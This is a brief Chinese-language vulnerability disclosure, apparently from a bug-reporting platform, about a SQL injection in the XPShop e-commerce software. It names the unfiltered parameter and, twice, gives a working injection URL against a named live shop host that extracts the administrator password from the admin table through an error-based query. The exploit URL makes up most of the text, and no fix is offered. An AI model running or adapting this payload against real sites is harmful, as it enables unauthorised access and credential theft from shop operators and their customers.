详细说明:
漏洞位置:xpshop.webui.MyRefund
跟进函数GetPackagePdtGID:
没过滤直接进库,直接回显的!
payload:
http://clothes.xpshop.cn/preview.aspx?type=1&Action=GetImg&pids=1 and 1=(select top 1 password from admin)–
漏洞证明:
http://clothes.xpshop.cn/preview.aspx?type=1&Action=GetImg&pids=1 and 1=(select top 1 password from admin)–
![15163708e38982fcb6bb68a83287ad5c51236c81[1]](http://7u2hr4.com1.z0.glb.clouddn.com/wp-content/uploads/2016/02/15163708e38982fcb6bb68a83287ad5c51236c811.jpg)